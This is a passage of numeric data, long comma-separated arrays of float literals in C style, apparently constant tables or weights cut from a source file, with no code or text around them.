0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 